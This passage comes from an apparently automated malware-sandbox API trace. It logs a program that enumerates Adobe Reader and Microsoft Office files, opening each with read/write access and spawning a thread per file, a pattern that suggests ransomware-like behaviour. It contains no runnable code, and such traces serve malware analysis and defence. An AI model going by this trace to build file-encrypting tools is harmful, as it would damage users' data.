10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.410] GetLastError () returned 0x5 [0165.410] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR", dwFileAttributes=0x20) returned 0 [0165.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4d90) returned 1 Thread: id = 5453 os_tid = 0xc4c [0165.411] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr")) returned 0x20 [0165.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR", dwFileAttributes=0x20) returned 0 [0165.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\quicktime.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.411] GetLastError () returned 0x5 [0165.411] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\QuickTime.UKR", dwFileAttributes=0x20) returned 0 [0165.411] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6980) returned 1 Thread: id = 5454 os_tid = 0x12b0 [0165.412] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr")) returned 0x20 [0165.412] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR", dwFileAttributes=0x20) returned 0 [0165.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\windowsmedia.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.413] GetLastError () returned 0x5 [0165.413] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\WindowsMedia.UKR", dwFileAttributes=0x20) returned 0 [0165.413] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9f80) returned 1 Thread: id = 5455 os_tid = 0x12b4 [0165.414] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf")) returned 0x20 [0165.414] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0165.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\adobeid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.415] GetLastError () returned 0x5 [0165.415] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", dwFileAttributes=0x20) returned 0 [0165.415] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6b070) returned 1 Thread: id = 5456 os_tid = 0x12b8 [0165.416] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf")) returned 0x20 [0165.416] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", dwFileAttributes=0x20) returned 0 [0165.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\defaultid.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.416] GetLastError () returned 0x5 [0165.416] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\DefaultID.pdf", dwFileAttributes=0x20) returned 0 [0165.416] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934918) returned 1 Thread: id = 5457 os_tid = 0x12bc [0165.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll")) returned 0x20 [0165.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", dwFileAttributes=0x20) returned 0 [0165.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\analys32.xll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.421] GetLastError () returned 0x5 [0165.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ANALYS32.XLL", dwFileAttributes=0x20) returned 0 [0165.421] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeb08) returned 1 Thread: id = 5458 os_tid = 0x12c4 [0165.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam")) returned 0x20 [0165.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM", dwFileAttributes=0x20) returned 0 [0165.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.423] GetLastError () returned 0x5 [0165.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM", dwFileAttributes=0x20) returned 0 [0165.424] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae6a8) returned 1 Thread: id = 5459 os_tid = 0x12c8 [0165.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam")) returned 0x20 [0165.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM", dwFileAttributes=0x20) returned 0 [0165.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.425] GetLastError () returned 0x5 [0165.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM", dwFileAttributes=0x20) returned 0 [0165.425] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae928) returned 1 Thread: id = 5460 os_tid = 0x12cc [0165.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam")) returned 0x20 [0165.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM", dwFileAttributes=0x20) returned 0 [0165.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.426] GetLastError () returned 0x5 [0165.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM", dwFileAttributes=0x20) returned 0 [0165.427] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77628) returned 1 Thread: id = 5461 os_tid = 0x12d0 [0165.428] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\dexshare.asfx")) returned 0x20 [0165.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0165.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.428] GetLastError () returned 0x5 [0165.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0165.428] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97afc8) returned 1 Thread: id = 5462 os_tid = 0x12d4 [0165.429] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx")) returned 0x20 [0165.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0165.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.430] GetLastError () returned 0x5 [0165.430] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0165.430] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97af18) returned 1 Thread: id = 5463 os_tid = 0x12d8 [0165.431] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor")) returned 0x20 [0165.431] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR", dwFileAttributes=0x20) returned 0 [0165.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.432] GetLastError () returned 0x5 [0165.432] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR", dwFileAttributes=0x20) returned 0 [0165.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934a68) returned 1 Thread: id = 5464 os_tid = 0xc7c [0165.433] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor")) returned 0x20 [0165.433] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR", dwFileAttributes=0x20) returned 0 [0165.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.433] GetLastError () returned 0x5 [0165.433] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR", dwFileAttributes=0x20) returned 0 [0165.433] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aec48) returned 1 Thread: id = 5545 os_tid = 0x14a0 [0165.840] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x942fb0 [0165.840] wcscpy (in: _Dest=0x942fb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" [0165.840] wcscat (in: _Dest=0x942fb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\" [0165.840] wcscat (in: _Dest=0x942fb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*" [0165.840] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906b70 [0165.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c50 [0166.779] wcscmp (_String1=".", _String2=".") returned 0 [0166.779] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.779] wcscmp (_String1="..", _String2=".") returned 1 [0166.779] wcscmp (_String1="..", _String2="..") returned 0 [0166.779] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0166.779] wcscmp (_String1="Dynamic.pdf", _String2=".") returned 1 [0166.779] wcscmp (_String1="Dynamic.pdf", _String2="..") returned 1 [0166.779] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c77c0 [0166.779] wcscpy (in: _Dest=0xd4c77c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" [0166.779] wcscat (in: _Dest=0xd4c77c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\" [0166.779] wcscat (in: _Dest=0xd4c77c0, _Source="Dynamic.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" [0170.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c77c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1368 [0170.113] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0170.113] wcscmp (_String1="SignHere.pdf", _String2=".") returned 1 [0170.113] wcscmp (_String1="SignHere.pdf", _String2="..") returned 1 [0170.113] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9f80 [0170.113] wcscpy (in: _Dest=0xd4b9f80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" [0170.113] wcscat (in: _Dest=0xd4b9f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\" [0170.113] wcscat (in: _Dest=0xd4b9f80, _Source="SignHere.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" [0170.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0170.114] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0170.114] wcscmp (_String1="StandardBusiness.pdf", _String2=".") returned 1 [0170.114] wcscmp (_String1="StandardBusiness.pdf", _String2="..") returned 1 [0170.114] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xca) returned 0x8de098 [0170.114] wcscpy (in: _Dest=0x8de098, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" [0170.114] wcscat (in: _Dest=0x8de098, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\" [0170.114] wcscat (in: _Dest=0x8de098, _Source="StandardBusiness.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" [0170.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8de098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0170.115] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0170.115] FindClose (in: hFindFile=0x8d9c50 | out: hFindFile=0x8d9c50) returned 1 [0170.115] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906b70) returned 1 [0170.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x942fb0) returned 1 [0170.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x936e58) returned 1 Thread: id = 5546 os_tid = 0x14a4 [0165.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x943060 [0165.841] wcscpy (in: _Dest=0x943060, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" [0165.841] wcscat (in: _Dest=0x943060, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\" [0165.841] wcscat (in: _Dest=0x943060, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*" [0165.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0165.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ae38 [0166.570] wcscmp (_String1=".", _String2=".") returned 0 [0166.570] FindNextFileW (in: hFindFile=0x93ae38, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.570] wcscmp (_String1="..", _String2=".") returned 1 [0166.570] wcscmp (_String1="..", _String2="..") returned 0 [0166.570] FindNextFileW (in: hFindFile=0x93ae38, 